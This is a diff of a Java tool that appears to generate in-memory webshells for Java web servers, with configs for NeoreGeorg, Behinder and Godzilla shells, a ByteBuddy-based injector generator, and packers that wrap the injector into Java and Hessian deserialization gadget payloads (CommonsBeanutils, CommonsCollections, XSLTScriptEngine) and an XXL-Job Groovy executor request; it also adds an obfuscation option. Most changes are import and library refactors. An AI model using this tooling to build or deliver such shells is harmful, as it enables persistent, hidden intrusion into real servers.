@AllArgsConstructor
|
|
||||||
@ToString
|
|
||||||
public class NeoreGeorgConfig extends ShellToolConfig {
|
|
||||||
@Builder.Default
|
|
||||||
private String headerName = "Referer";
|
|
||||||
@Builder.Default
|
|
||||||
private String headerValue = CommonUtil.getRandomString(8);
|
|
||||||
}
|
|
||||||
@@ -45,6 +45,12 @@ public class ShellConfig {
|
|||||||
@Builder.Default
|
@Builder.Default
|
||||||
private boolean byPassJavaModule = false;
|
private boolean byPassJavaModule = false;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 是否开启混淆
|
||||||
|
*/
|
||||||
|
@Builder.Default
|
||||||
|
private boolean obfuscate = false;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 是否开启调试
|
* 是否开启调试
|
||||||
*/
|
*/
|
||||||
|
|||||||
+1
-1
@@ -8,9 +8,9 @@ import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
|||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
import com.reajason.javaweb.memshell.config.BehinderConfig;
|
import com.reajason.javaweb.memshell.config.BehinderConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import com.reajason.javaweb.memshell.utils.DigestUtils;
|
|
||||||
import net.bytebuddy.ByteBuddy;
|
import net.bytebuddy.ByteBuddy;
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
import org.apache.commons.codec.digest.DigestUtils;
|
||||||
import org.apache.commons.lang3.StringUtils;
|
import org.apache.commons.lang3.StringUtils;
|
||||||
|
|
||||||
import java.util.HashMap;
|
import java.util.HashMap;
|
||||||
|
|||||||
-36
@@ -1,36 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.generator;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.ClassBytesShrink;
|
|
||||||
import com.reajason.javaweb.asm.ClassRenameUtils;
|
|
||||||
import com.reajason.javaweb.memshell.config.CustomConfig;
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
|
||||||
import org.apache.commons.lang3.StringUtils;
|
|
||||||
|
|
||||||
import java.util.Base64;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/3/18
|
|
||||||
*/
|
|
||||||
public class CustomShellGenerator {
|
|
||||||
|
|
||||||
private final ShellConfig shellConfig;
|
|
||||||
private final CustomConfig customConfig;
|
|
||||||
|
|
||||||
public CustomShellGenerator(ShellConfig shellConfig, CustomConfig customConfig) {
|
|
||||||
this.shellConfig = shellConfig;
|
|
||||||
this.customConfig = customConfig;
|
|
||||||
}
|
|
||||||
|
|
||||||
public byte[] getBytes() {
|
|
||||||
String shellClassBase64 = customConfig.getShellClassBase64();
|
|
||||||
|
|
||||||
if (StringUtils.isBlank(shellClassBase64)) {
|
|
||||||
throw new IllegalArgumentException("Custom shell class is empty");
|
|
||||||
}
|
|
||||||
|
|
||||||
byte[] bytes = ClassRenameUtils.renameClass(Base64.getDecoder().decode(shellClassBase64), customConfig.getShellClassName());
|
|
||||||
|
|
||||||
return ClassBytesShrink.shrink(bytes, shellConfig.isShrink());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
+1
-1
@@ -8,9 +8,9 @@ import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
|||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
import com.reajason.javaweb.memshell.config.GodzillaConfig;
|
import com.reajason.javaweb.memshell.config.GodzillaConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import com.reajason.javaweb.memshell.utils.DigestUtils;
|
|
||||||
import net.bytebuddy.ByteBuddy;
|
import net.bytebuddy.ByteBuddy;
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
import org.apache.commons.codec.digest.DigestUtils;
|
||||||
import org.apache.commons.lang3.StringUtils;
|
import org.apache.commons.lang3.StringUtils;
|
||||||
|
|
||||||
import java.util.HashMap;
|
import java.util.HashMap;
|
||||||
|
|||||||
+8
-45
@@ -1,22 +1,20 @@
|
|||||||
package com.reajason.javaweb.memshell.generator;
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
import com.reajason.javaweb.ClassBytesShrink;
|
import com.reajason.javaweb.ClassBytesShrink;
|
||||||
import com.reajason.javaweb.asm.InnerClassDiscovery;
|
import com.reajason.javaweb.buddy.ByPassJavaModuleInterceptor;
|
||||||
import com.reajason.javaweb.buddy.*;
|
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
||||||
|
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||||
|
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||||
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import net.bytebuddy.ByteBuddy;
|
import net.bytebuddy.ByteBuddy;
|
||||||
import net.bytebuddy.description.type.TypeDescription;
|
|
||||||
import net.bytebuddy.dynamic.ClassFileLocator;
|
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
import net.bytebuddy.dynamic.scaffold.TypeValidation;
|
|
||||||
import net.bytebuddy.implementation.FixedValue;
|
import net.bytebuddy.implementation.FixedValue;
|
||||||
import net.bytebuddy.pool.TypePool;
|
import org.apache.commons.codec.binary.Base64;
|
||||||
import java.util.Base64;;
|
|
||||||
|
|
||||||
import java.util.*;
|
import java.util.Objects;
|
||||||
|
|
||||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||||
|
|
||||||
@@ -35,14 +33,11 @@ public class InjectorGenerator {
|
|||||||
|
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
public DynamicType.Builder<?> getBuilder() {
|
public DynamicType.Builder<?> getBuilder() {
|
||||||
String base64String = Base64.getEncoder().encodeToString(CommonUtil.gzipCompress(injectorConfig.getShellClassBytes()));
|
String base64String = Base64.encodeBase64String(CommonUtil.gzipCompress(injectorConfig.getShellClassBytes()));
|
||||||
String originalClassName = injectorConfig.getInjectorClass().getName();
|
|
||||||
String newClassName = injectorConfig.getInjectorClassName();
|
|
||||||
|
|
||||||
DynamicType.Builder<?> builder = new ByteBuddy()
|
DynamicType.Builder<?> builder = new ByteBuddy()
|
||||||
.redefine(injectorConfig.getInjectorClass())
|
.redefine(injectorConfig.getInjectorClass())
|
||||||
|
.name(injectorConfig.getInjectorClassName())
|
||||||
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
|
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
|
||||||
.visit(new ClassRenameVisitorWrapper(originalClassName, newClassName))
|
|
||||||
.method(named("getUrlPattern")).intercept(FixedValue.value(Objects.toString(injectorConfig.getUrlPattern(), "/*")))
|
.method(named("getUrlPattern")).intercept(FixedValue.value(Objects.toString(injectorConfig.getUrlPattern(), "/*")))
|
||||||
.method(named("getBase64String")).intercept(FixedValue.value(base64String))
|
.method(named("getBase64String")).intercept(FixedValue.value(base64String))
|
||||||
.method(named("getClassName")).intercept(FixedValue.value(injectorConfig.getShellClassName()));
|
.method(named("getClassName")).intercept(FixedValue.value(injectorConfig.getShellClassName()));
|
||||||
@@ -61,38 +56,6 @@ public class InjectorGenerator {
|
|||||||
return builder;
|
return builder;
|
||||||
}
|
}
|
||||||
|
|
||||||
@SneakyThrows
|
|
||||||
public Map<String, byte[]> getInnerClassBytes() {
|
|
||||||
Set<String> innerClassNames = InnerClassDiscovery.findAllInnerClasses(injectorConfig.getInjectorClass());
|
|
||||||
if (innerClassNames.isEmpty()) {
|
|
||||||
return Collections.emptyMap();
|
|
||||||
}
|
|
||||||
|
|
||||||
String originalClassName = injectorConfig.getInjectorClass().getName();
|
|
||||||
String newClassName = injectorConfig.getInjectorClassName();
|
|
||||||
|
|
||||||
ClassFileLocator classFileLocator = ClassFileLocator.ForClassLoader.of(injectorConfig.getInjectorClass().getClassLoader());
|
|
||||||
TypePool typePool = TypePool.Default.of(classFileLocator);
|
|
||||||
|
|
||||||
Map<String, byte[]> bytes = new HashMap<>();
|
|
||||||
for (String innerClassName : innerClassNames) {
|
|
||||||
TypeDescription innerTypeDesc = typePool.describe(innerClassName).resolve();
|
|
||||||
String newInnerClassName = innerClassName.replace(originalClassName, newClassName);
|
|
||||||
DynamicType.Builder<?> innerBuilder = new ByteBuddy()
|
|
||||||
.with(TypeValidation.DISABLED)
|
|
||||||
.redefine(innerTypeDesc, classFileLocator)
|
|
||||||
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
|
|
||||||
.visit(new ClassRenameVisitorWrapper(originalClassName, newClassName));
|
|
||||||
|
|
||||||
try (DynamicType.Unloaded<?> unloaded = innerBuilder.make()) {
|
|
||||||
for (Map.Entry<TypeDescription, byte[]> entry : unloaded.getAllTypes().entrySet()) {
|
|
||||||
bytes.put(newInnerClassName, entry.getValue());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return bytes;
|
|
||||||
}
|
|
||||||
|
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
public byte[] generate() {
|
public byte[] generate() {
|
||||||
DynamicType.Builder<?> builder = getBuilder();
|
DynamicType.Builder<?> builder = getBuilder();
|
||||||
|
|||||||
-66
@@ -1,66 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.generator;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.ClassBytesShrink;
|
|
||||||
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
|
|
||||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
|
||||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
|
||||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
|
||||||
import com.reajason.javaweb.memshell.config.NeoreGeorgConfig;
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
|
||||||
import net.bytebuddy.ByteBuddy;
|
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
|
||||||
|
|
||||||
import java.util.HashMap;
|
|
||||||
|
|
||||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/2/12
|
|
||||||
*/
|
|
||||||
public class NeoreGeorgGenerator {
|
|
||||||
private final ShellConfig shellConfig;
|
|
||||||
private final NeoreGeorgConfig neoreGeorgConfig;
|
|
||||||
|
|
||||||
public NeoreGeorgGenerator(ShellConfig shellConfig, NeoreGeorgConfig neoreGeorgConfig) {
|
|
||||||
this.shellConfig = shellConfig;
|
|
||||||
this.neoreGeorgConfig = neoreGeorgConfig;
|
|
||||||
}
|
|
||||||
|
|
||||||
public DynamicType.Builder<?> getBuilder() {
|
|
||||||
DynamicType.Builder<?> builder = new ByteBuddy()
|
|
||||||
.redefine(neoreGeorgConfig.getShellClass())
|
|
||||||
.name(neoreGeorgConfig.getShellClassName())
|
|
||||||
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
|
|
||||||
|
|
||||||
if (shellConfig.isJakarta()) {
|
|
||||||
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (shellConfig.isDebugOff()) {
|
|
||||||
builder = LogRemoveMethodVisitor.extend(builder);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (shellConfig.getShellType().startsWith(ShellType.AGENT)) {
|
|
||||||
builder = builder.visit(
|
|
||||||
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(3) {{
|
|
||||||
put("headerName", neoreGeorgConfig.getHeaderName());
|
|
||||||
put("headerValue", neoreGeorgConfig.getHeaderValue());
|
|
||||||
}})
|
|
||||||
);
|
|
||||||
} else {
|
|
||||||
builder = builder
|
|
||||||
.field(named("headerName")).value(neoreGeorgConfig.getHeaderName())
|
|
||||||
.field(named("headerValue")).value(neoreGeorgConfig.getHeaderValue());
|
|
||||||
}
|
|
||||||
return builder;
|
|
||||||
}
|
|
||||||
|
|
||||||
public byte[] getBytes() {
|
|
||||||
DynamicType.Builder<?> builder = getBuilder();
|
|
||||||
try (DynamicType.Unloaded<?> make = builder.make()) {
|
|
||||||
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,15 +1,12 @@
|
|||||||
package com.reajason.javaweb.memshell.packer;
|
package com.reajason.javaweb.memshell.packer;
|
||||||
|
|
||||||
import com.fasterxml.jackson.databind.ObjectMapper;
|
import com.alibaba.fastjson2.JSONObject;
|
||||||
import com.fasterxml.jackson.databind.SerializationFeature;
|
import com.alibaba.fastjson2.JSONWriter;
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
import lombok.SneakyThrows;
|
|
||||||
import org.apache.commons.io.IOUtils;
|
import org.apache.commons.io.IOUtils;
|
||||||
|
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.nio.charset.Charset;
|
import java.nio.charset.Charset;
|
||||||
import java.util.HashMap;
|
|
||||||
import java.util.Map;
|
|
||||||
import java.util.Objects;
|
import java.util.Objects;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -28,26 +25,23 @@ public class XxlJobPacker implements Packer {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
@SneakyThrows
|
|
||||||
public String pack(GenerateResult generateResult) {
|
public String pack(GenerateResult generateResult) {
|
||||||
String source = template
|
String source = template
|
||||||
.replace("{{base64Str}}", generateResult.getInjectorBytesBase64Str())
|
.replace("{{base64Str}}", generateResult.getInjectorBytesBase64Str())
|
||||||
.replace("{{className}}", generateResult.getInjectorClassName());
|
.replace("{{className}}", generateResult.getInjectorClassName());
|
||||||
Map<String, Object> map = new HashMap<>();
|
JSONObject jsonObject = new JSONObject();
|
||||||
map.put("jobId", 1);
|
jsonObject.put("jobId", 1);
|
||||||
map.put("executorHandler", "demoJobHandler");
|
jsonObject.put("executorHandler", "demoJobHandler");
|
||||||
map.put("executorParams", "demoJobHandler");
|
jsonObject.put("executorParams", "demoJobHandler");
|
||||||
map.put("executorBlockStrategy", "COVER_EARLY");
|
jsonObject.put("executorBlockStrategy", "COVER_EARLY");
|
||||||
map.put("executorTimeout", 0);
|
jsonObject.put("executorTimeout", 0);
|
||||||
map.put("logId", 1);
|
jsonObject.put("logId", 1);
|
||||||
map.put("logDateTime", System.currentTimeMillis());
|
jsonObject.put("logDateTime", System.currentTimeMillis());
|
||||||
map.put("glueType", "GLUE_GROOVY");
|
jsonObject.put("glueType", "GLUE_GROOVY");
|
||||||
map.put("glueSource", source);
|
jsonObject.put("glueSource", source);
|
||||||
map.put("glueUpdatetime", System.currentTimeMillis());
|
jsonObject.put("glueUpdatetime", System.currentTimeMillis());
|
||||||
map.put("broadcastIndex", 0);
|
jsonObject.put("broadcastIndex", 0);
|
||||||
map.put("broadcastTotal", 0);
|
jsonObject.put("broadcastTotal", 0);
|
||||||
ObjectMapper objectMapper = new ObjectMapper();
|
return JSONObject.toJSONString(jsonObject, JSONWriter.Feature.PrettyFormat);
|
||||||
objectMapper.enable(SerializationFeature.INDENT_OUTPUT); // 美化输出
|
|
||||||
return objectMapper.writeValueAsString(map);
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
+2
-2
@@ -2,7 +2,7 @@ package com.reajason.javaweb.memshell.packer.base64;
|
|||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
import java.util.Base64;;
|
import org.apache.commons.codec.binary.Base64;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -11,6 +11,6 @@ import java.util.Base64;;
|
|||||||
public class DefaultBase64Packer implements Packer {
|
public class DefaultBase64Packer implements Packer {
|
||||||
@Override
|
@Override
|
||||||
public String pack(GenerateResult generateResult) {
|
public String pack(GenerateResult generateResult) {
|
||||||
return Base64.getEncoder().encodeToString(generateResult.getInjectorBytes());
|
return Base64.encodeBase64String(generateResult.getInjectorBytes());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
+2
-2
@@ -4,7 +4,7 @@ import com.reajason.javaweb.memshell.config.GenerateResult;
|
|||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import java.util.Base64;;
|
import org.apache.commons.codec.binary.Base64;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -14,6 +14,6 @@ public class GzipBase64Packer implements Packer {
|
|||||||
@Override
|
@Override
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
public String pack(GenerateResult generateResult) {
|
public String pack(GenerateResult generateResult) {
|
||||||
return Base64.getEncoder().encodeToString(CommonUtil.gzipCompress(generateResult.getInjectorBytes()));
|
return Base64.encodeBase64String(CommonUtil.gzipCompress(generateResult.getInjectorBytes()));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+2
-3
@@ -5,8 +5,7 @@ import com.reajason.javaweb.deserialize.Hessian2DeserializeGenerator;
|
|||||||
import com.reajason.javaweb.deserialize.PayloadType;
|
import com.reajason.javaweb.deserialize.PayloadType;
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
|
import org.apache.commons.codec.binary.Base64;
|
||||||
import java.util.Base64;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -20,6 +19,6 @@ public class Hessian2XSLTScriptEnginePacker implements Packer {
|
|||||||
DeserializeConfig deserializeConfig = new DeserializeConfig();
|
DeserializeConfig deserializeConfig = new DeserializeConfig();
|
||||||
deserializeConfig.setPayloadType(PayloadType.XSLTScriptEngine);
|
deserializeConfig.setPayloadType(PayloadType.XSLTScriptEngine);
|
||||||
byte[] generate = Hessian2DeserializeGenerator.generate(injectorBytes, injectorClassName, deserializeConfig);
|
byte[] generate = Hessian2DeserializeGenerator.generate(injectorBytes, injectorClassName, deserializeConfig);
|
||||||
return Base64.getEncoder().encodeToString(generate);
|
return Base64.encodeBase64String(generate);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+2
-2
@@ -5,7 +5,7 @@ import com.reajason.javaweb.deserialize.HessianDeserializeGenerator;
|
|||||||
import com.reajason.javaweb.deserialize.PayloadType;
|
import com.reajason.javaweb.deserialize.PayloadType;
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
import java.util.Base64;;
|
import org.apache.commons.codec.binary.Base64;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -19,6 +19,6 @@ public class HessianXSLTScriptEnginePacker implements Packer {
|
|||||||
DeserializeConfig deserializeConfig = new DeserializeConfig();
|
DeserializeConfig deserializeConfig = new DeserializeConfig();
|
||||||
deserializeConfig.setPayloadType(PayloadType.XSLTScriptEngine);
|
deserializeConfig.setPayloadType(PayloadType.XSLTScriptEngine);
|
||||||
byte[] generate = HessianDeserializeGenerator.generate(injectorBytes, injectorClassName, deserializeConfig);
|
byte[] generate = HessianDeserializeGenerator.generate(injectorBytes, injectorClassName, deserializeConfig);
|
||||||
return Base64.getEncoder().encodeToString(generate);
|
return Base64.encodeBase64String(generate);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+2
-2
@@ -6,7 +6,7 @@ import com.reajason.javaweb.deserialize.PayloadType;
|
|||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import java.util.Base64;;
|
import org.apache.commons.codec.binary.Base64;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -19,6 +19,6 @@ public class CommonsBeanutils110Packer implements Packer {
|
|||||||
public String pack(GenerateResult generateResult) {
|
public String pack(GenerateResult generateResult) {
|
||||||
DeserializeConfig deserializeConfig = new DeserializeConfig();
|
DeserializeConfig deserializeConfig = new DeserializeConfig();
|
||||||
deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils110);
|
deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils110);
|
||||||
return Base64.getEncoder().encodeToString(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
|
return Base64.encodeBase64String(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+2
-2
@@ -6,7 +6,7 @@ import com.reajason.javaweb.deserialize.PayloadType;
|
|||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import java.util.Base64;;
|
import org.apache.commons.codec.binary.Base64;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -19,6 +19,6 @@ public class CommonsBeanutils16Packer implements Packer {
|
|||||||
public String pack(GenerateResult generateResult) {
|
public String pack(GenerateResult generateResult) {
|
||||||
DeserializeConfig deserializeConfig = new DeserializeConfig();
|
DeserializeConfig deserializeConfig = new DeserializeConfig();
|
||||||
deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils16);
|
deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils16);
|
||||||
return Base64.getEncoder().encodeToString(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
|
return Base64.encodeBase64String(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+2
-2
@@ -6,7 +6,7 @@ import com.reajason.javaweb.deserialize.PayloadType;
|
|||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import java.util.Base64;;
|
import org.apache.commons.codec.binary.Base64;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -19,6 +19,6 @@ public class CommonsBeanutils18Packer implements Packer {
|
|||||||
public String pack(GenerateResult generateResult) {
|
public String pack(GenerateResult generateResult) {
|
||||||
DeserializeConfig deserializeConfig = new DeserializeConfig();
|
DeserializeConfig deserializeConfig = new DeserializeConfig();
|
||||||
deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils18);
|
deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils18);
|
||||||
return Base64.getEncoder().encodeToString(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
|
return Base64.encodeBase64String(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+2
-3
@@ -6,8 +6,7 @@ import com.reajason.javaweb.deserialize.PayloadType;
|
|||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
|
import org.apache.commons.codec.binary.Base64;
|
||||||
import java.util.Base64;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -20,6 +19,6 @@ public class CommonsBeanutils19Packer implements Packer {
|
|||||||
public String pack(GenerateResult generateResult) {
|
public String pack(GenerateResult generateResult) {
|
||||||
DeserializeConfig deserializeConfig = new DeserializeConfig();
|
DeserializeConfig deserializeConfig = new DeserializeConfig();
|
||||||
deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils19);
|
deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils19);
|
||||||
return Base64.getEncoder().encodeToString(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
|
return Base64.encodeBase64String(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
-24
@@ -1,24 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.packer.deserialize.java;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.deserialize.DeserializeConfig;
|
|
||||||
import com.reajason.javaweb.deserialize.JavaDeserializeGenerator;
|
|
||||||
import com.reajason.javaweb.deserialize.PayloadType;
|
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
|
||||||
import lombok.SneakyThrows;
|
|
||||||
import java.util.Base64;;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/2/17
|
|
||||||
*/
|
|
||||||
public class CommonsCollections3Packer implements Packer {
|
|
||||||
|
|
||||||
@Override
|
|
||||||
@SneakyThrows
|
|
||||||
public String pack(GenerateResult generateResult) {
|
|
||||||
DeserializeConfig deserializeConfig = new DeserializeConfig();
|
|
||||||
deserializeConfig.setPayloadType(PayloadType.CommonsCollections3);
|
|
||||||
return Base64.getEncoder().encodeToString(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
-24
@@ -1,24 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.packer.deserialize.java;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.deserialize.DeserializeConfig;
|
|
||||||
import com.reajason.javaweb.deserialize.JavaDeserializeGenerator;
|
|
||||||
import com.reajason.javaweb.deserialize.PayloadType;
|
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
|
||||||
import lombok.SneakyThrows;
|
|
||||||
import java.util.Base64;;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/2/17
|
|
||||||
*/
|
|
||||||
public class CommonsCollections4Packer implements Packer {
|
|
||||||
|
|
||||||
@Override
|
|
||||||
@SneakyThrows
|
|
||||||
public String pack(GenerateResult generateResult) {
|
|
||||||
DeserializeConfig deserializeConfig = new DeserializeConfig();
|
|
||||||
deserializeConfig.setPayloadType(PayloadType.CommonsCollections4);
|
|
||||||
return Base64.getEncoder().encodeToString(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
+38
-103
@@ -1,13 +1,9 @@
|
|||||||
package com.reajason.javaweb.memshell.packer.jar;
|
package com.reajason.javaweb.memshell.packer.jar;
|
||||||
|
|
||||||
import com.reajason.javaweb.asm.ClassRenameUtils;
|
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import net.bytebuddy.ByteBuddy;
|
import net.bytebuddy.ByteBuddy;
|
||||||
import org.apache.commons.io.IOUtils;
|
import org.apache.commons.io.IOUtils;
|
||||||
import org.objectweb.asm.Opcodes;
|
|
||||||
|
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.File;
|
import java.io.File;
|
||||||
@@ -17,99 +13,48 @@ import java.net.URL;
|
|||||||
import java.nio.file.Files;
